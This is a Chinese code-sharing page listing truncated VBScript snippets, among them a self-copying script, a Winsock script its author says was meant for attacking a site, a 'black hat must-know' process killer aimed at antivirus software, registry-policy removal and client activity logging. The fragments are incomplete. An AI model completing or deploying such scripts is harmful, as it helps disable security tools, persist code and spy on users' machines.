登录后绑定QQ、微信即可实现信息互通
复制自身到c盘的huan.vbs ASP/VisualBasic代码 复制代码 代码如下:setcopy1=createobject("scripting.filesystemobject") copy1.getfile(wscript.scriptfullname).copy("c:\huan.vbs")
'搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷 'by009,baicker@hotmail.com 'date:071221 Dimrevdata setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_") setsc=createobject("WScript.Shell") Setfso=CreateObject("Scr..
示例： LoadPicture函数 选择图片<script language="vbscript">Sub GetPicInfor() dim objpic,iWidth,iHeightdim pictype,picpathpicpath=document.frm.pic.valueset objpic=Loadpicture(picpath)iWidth = round(objpic.width / 26.4583) '26.4..
自动导入注册表的，带检测： OnErrorResumeNext dimmsg,fso,shell Setfso=Wscript.createｏｂｊｅｃｔ("scripting.filesystemｏｂｊｅｃｔ") setwshshell=wscript.CreateObject("wscript.shell") setshell=wscript.createｏｂｊｅｃｔ("wscript.she..
OnErrorResumeNext SetWSHShell=WScript.CreateObject("WScript.Shell") WithWScript.CreateObject("WScript.Shell") .RegDelete"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools" .RegDelete"HKCU\Software..
DimWSHShell,r,M,v,t,g,i OnErrorResumeNext SetWSHShell=WScript.CreateObject("WScript.Shell") v="HKCU\Software\Microsoft\Windows\CurrentVersion\ Policies\System\DisableRegistryTools" i="REG_DWORD" t="注册表开关" r=WSHShell.RegRead(v..
OptionExplicit dimServerPath,onlyone,notfinddel,WorkPath,arrWorwpath,strWorkPath,fso,wsh,WshNetwork,cName,exectime,fnum,donum,totalsize,t1,t2,tm fnum=0 donum=0 totalsize=0 WorkPath="F:\|D:\|C:\Download\"'这里设置需要扫描的路径(绝..
记录客户机操作的VBS脚本onerrorresumenext strComputer="." SetobjWMIService=GetObject("winmgmts:\\"&strComputer&"\root\cimv2") SetIPConfigSet=objWMIService.ExecQuery_ ("SelectIPAddressfromWin32_NetworkAdapterConfigurationwhereIPEnab..
黑人必会！强制杀进程！对付杀毒软件啊 '备注：vbs强制关闭程序 '防止出现错误复制代码 代码如下:OnErrorResumeNext 'vbs代码开始---------------------------------------------- subClose_Process(ProcessName) OnErrorResumeNext foreachpsinget..
dimActionID ActionID=1'0注销，1关机，2重启, ActionTime="2006-1-413:42:30"'关机或重启时间 functionShutDown() dimobjShell SetobjShell=WScript.CreateObject("Wscript.Shell") dimApplication setApplication=CreateObject("Shell.Applicatio..
提出你的第一个问题
回答一个你擅长的问题
对内容进行点赞或者收藏
阅读声望与权限的规范
完善个人资料
可笑的曾经
发布于 2008-05-20 22:56
